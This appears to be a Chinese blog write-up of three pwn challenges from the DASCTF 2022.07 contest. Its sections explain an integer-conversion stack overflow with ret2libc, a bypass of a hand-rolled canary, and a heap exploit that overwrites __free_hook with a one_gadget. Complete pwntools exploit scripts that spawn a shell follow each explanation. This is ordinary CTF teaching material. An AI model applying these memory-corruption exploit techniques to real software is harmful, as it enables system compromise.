首页 > 其他分享 >DASCTF2022.07赋能赛PWN部分WP

DASCTF2022.07赋能赛PWN部分WP

时间:2024-08-02 17:07:14浏览次数:13  
标签:DASCTF2022.07 p64 libc 赋能赛 free io sendlineafter PWN x00

DASCTF2022.07赋能赛PWN部分WP

eyfor

程序保护情况

64位ida逆向

可以看见是一个随机数的逻辑,只要我们猜不对4次就可以进入漏洞函数,但是我感觉这原本可能是==号,让用随机数的

那我们就4次不输入一个数就可以进入漏洞函数,这里注意这个a1就是我们进入漏洞函数之前要输入的值,可以看见在read的时候使用的是un int 而判断的是int,那么这里就存在一个类型转换导致的整数溢出,我们可以输入比4294967296小一点的数,这样在判断转换的时候是负数,而在输入的时候就是这个大数,所以就可以造成溢出,然后ret2libc

EXP

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
​
​
io = process('./eyfor')
#io = remote('node5.buuoj.cn',26262)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./eyfor')
io.sendlineafter('go','a')
io.sendlineafter('message:','1')
io.sendlineafter('message:','1')
io.sendlineafter('message:','1')
io.sendlineafter('message:','1')
​
io.sendline('4294967220')
io.recvline()
#gdb.attach(io)
pop_rdi = 0x0000000000400983 #: pop rdi ; ret
​
​
payload = b'a'*0x38 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4007B7)
io.send(payload)
io.recvuntil('CST\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr---->'+hex(puts_addr))
system = puts_addr - libc.sym['puts'] + libc.sym['system']
binsh = puts_addr - libc.sym['puts'] + next(libc.search('/bin/sh'))
​
io.recvline()
​
payload = b'a'*0x38 + p64(pop_rdi+1) + p64(pop_rdi) + p64(binsh) + p64(system)
io.send(payload)
​
io.interactive()
​

不过在复现的时候远程buu平台把data命令禁用了,导致程序还没有开始输入就崩溃了。。。。。

MyCanary2

程序保护情况

64位ida逆向

在初始化的时候程序使用了时间戳和随机数异或得到种子

程序虽然没有开canary保护但是模拟了一个类似canary的功能,我们可以查看canary,但是之后canary就会改变,有溢出,但是最后有检查

所以我们可以找找漏洞

在检查函数末尾发现如果rbp - 4位置为0就会跳转而不执行检查,那么我们第一步溢出然后,在更新一下这个手工canary绕过检查,然后退出即可执行后门函数

并且程序存在后门函数

EXP

from pwn import *
context(log_level= 'debug',arch='amd64',os='linux')
​
io = process('./MyCanary2')
​
io.sendlineafter('choice','1')
​
payload = b'a'*(0X70-4) + p32(0) + p64(0)  + p64(0X40157B)
io.recvuntil('code:')
gdb.attach(io)
io.sendline(payload)
io.sendlineafter('choice','2')
io.sendlineafter('choice','3')
​
io.interactive()

compat

程序保护情况

64位ida逆向

菜单

add函数,这里申请的时候输入tag的时候跟0x80相与,结果作为下一次的输入,我们可以输入0xff绕过,导致溢出到保存堆块指针的位置,然后实现泄露heap地址,同理因为本题libc是2.31,申请7个堆块然后free之后进可以进入到unsortbin,修改指针泄露libc地址,不过要注意,只能申请8个堆块

free函数,把指针都清零没有free

freeall函数,遍历刚刚free的堆块然后依次free,指针清零

思路:

1.通过\xff绕过与操作,让尽可能多的字节写入,泄露堆块地址

2.修改堆块指针到unsortbin堆块处,泄露libc地址

3.伪造堆块让指针修改到fake_chunk处,修改已经free堆块的fd指针位free_hook,因为此题free的内容是控制指针优先,导致/bin/sh参数或者sh参数不好输入,所以干脆使用one_gadget

EXP

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
​
io = process('./compact')
#io = remote('node5.buuoj.cn',27724)
libc = ELF('./libc-2.31.so')
​
​
def add(msg,tag):
    io.sendlineafter('choice: ','1')
    io.sendafter('data: ',msg)
    io.sendafter('tag: ',tag)
​
​
def show(index):
    io.sendlineafter('choice: ','2')
    io.sendlineafter('idx: ',str(index))
​
​
def free(index):
    io.sendlineafter('choice: ','3')
    io.sendlineafter('idx: ',str(index))
            
def freeall():
    io.sendlineafter('choice: ','4') 
​
​
​
add('a',b'\xffaaa')
gdb.attach(io)
show(0)
io.recvuntil('aaa') 
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2c0
success('heap_base--->'+hex(heap_base)) 
​
​
for i in range(7):
    add(p64(0x91)*14,'b')
​
for i in range(7):
    free(7-i)
​
​
free(0)
​
freeall()
payload = b'\xffaaa' + p64(heap_base+0x2c0)[:2]
add('a',payload) #0
show(0)
io.recvuntil('data: ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x70 - libc.sym['__malloc_hook']
success('libc_base---->'+hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
one = libc_base + 0xe6af1
​
​
add('a',b'\xffaaa\x80') #1
free(1)
freeall()
​
payload = b'a'*0x20 + p64(0) + p64(0x21) +p64(heap_base+0x560) + p64(heap_base +0x10)+ p64(0) + p64(0x91)+ p64(free_hook)
add(payload,'2')
​
add('/bin/sh\x00','\xff'+'sh\x00\x00\x00\x00') #2
​
#gdb.attach(io)
add(p64(one),'\xff'+'sh\x00\x00\x00\x00') #3
​
free(3)
#gdb.attach(io)
freeall()
​
​
​
io.interactive()
​

标签:DASCTF2022.07,p64,libc,赋能赛,free,io,sendlineafter,PWN,x00
From: https://www.cnblogs.com/CH13hh/p/18339135

相关文章

  • PWN学习过程中一些小问题的解决方法
    一、使用python运行py文件,第一行的frompwnimport*报错File"woof.py",line1,in<module>frompwnimport*ImportError:Nomodulenamedpwn因为使用的是python3安装的pwn,使用Python的话默认使用的是python2,可以直接在终端中输入python查看自己使用的版本。......
  • pwn前置知识
    既然是记录学习历程,我觉得还是从头开始吧我刚开始学的时候就苦于找不到学习资源,找到了又看不懂的崩溃处境好吧,是我不会正确上网+本人又菜又摆的缘故一般是从比赛官方下载附件下载到虚拟机打开terminal——checksec查看保护机制(拖进IDA/利用GDB,然后......此处省略脑子)......
  • CTF_PWN_栈ROP
    栈溢出原理先把基本栈溢出原理说清楚,上图可能不太清晰。自己的话讲就是函数A原本rbp和rsp,call调用函数B后,rbp上去变成rsp,原本的rsp随着函数B各种参数,寄存器balabala继续往栈顶生长.调用B完再逆操作,回到函数A,rbp回到函数A的返回地址,rsp回到函数B底部,leave之后ret进入A......
  • CTF_pwn_堆
    https://blog.csdn.net/qq_43332010/article/details/120402102相关定义攻击原理及方法gdb调试理解https://blog.csdn.net/xy_369/article/details/130788093https://blingblingxuanxuan.github.io/2020/02/23/paper/#fastbin-attackhttps://ywhkkx.github.io/2021/12/12/堆......
  • glibc2.35 CTFPwn高版本下的堆块利用
    运用exithook:劫持tls_dtor_list:例题(XYCTF2024 ptmalloc2it‘smyheappro):题目的libc版本是2.35,在glibc2.34版本的时候我们常用的exithook(比如dl_rtld_lock_recursive和dl_rtld_unlock_recursive)就被删除了,所以在这道题里面我们劫持另一个exithook,tls_dtor_list,但这里和之......
  • BUUCTF 6.[第五空间2019 决赛]PWN5 1
    拿到题目,先运行一下很明显地出现了一个重复我们的输入,以及一个判断的过程,那么我们可以猜测可能会有栈溢出漏洞,让我们继续保护是开了一个canary以及nx,大概率就不是栈溢出漏洞了,因为canary的存在会使栈溢出非常麻烦。我们看一下IDA存在栈溢出漏洞,但是由于长度不够,我们无法......
  • BUUCTF 5.pwn1_sctf_2016
    拿到题目首先先运行。我们发现他是将我们输入的重新输出出来,但是第二次运行时,我输入超长字符串后,仅仅只是输出了一部分,所以我们可以猜测程序中应该有检测长度的部分,我们再检查一下保护机制。我们发现仅仅只是开了一个nx保护,那么我们直接看IDA我们发现主函数中仅仅只是调用......
  • 【Pwn】(未解决)maze - writeup
    1.运行函数,收集字符串获取关键词字符串:luck2.寻找字符串引用代码3.生成伪代码4.获得main函数的C语言代码5.分析程序逻辑check函数:main函数int__fastcallmain(intargc,constchar**argv,constchar**envp){ unsignedintv3;//edx charv5;//[r......
  • PWN专项
    注:前面我们完成了webmisccrypto三个方向的具体学习;接下来敬请期待二进制逆向方面的学习分享;同时也是难度最大的一个方向;所以放在最后面讲解!陆续更新当中!敬请期待!以下是三个方向的总结:misc方向:一:文件操作与隐写1、文件类型的识别2、文件分离操作3、文件合并......
  • CTF-PWN 堆的相关数据结构
    文章连接: 《堆的相关数据结构》参考:1.ctf.wiki:堆相关数据结构-CTFWiki2.星盟pwn佬:0011.哔哩哔哩-【个人向】CTFpwn入门-P11[高清版]_哔哩哔哩_bilibilimalloc_chunk概念:通过malloc申请的内存称为chunk,也可以将chunk称作堆的一个单位(自己随意理解)。free......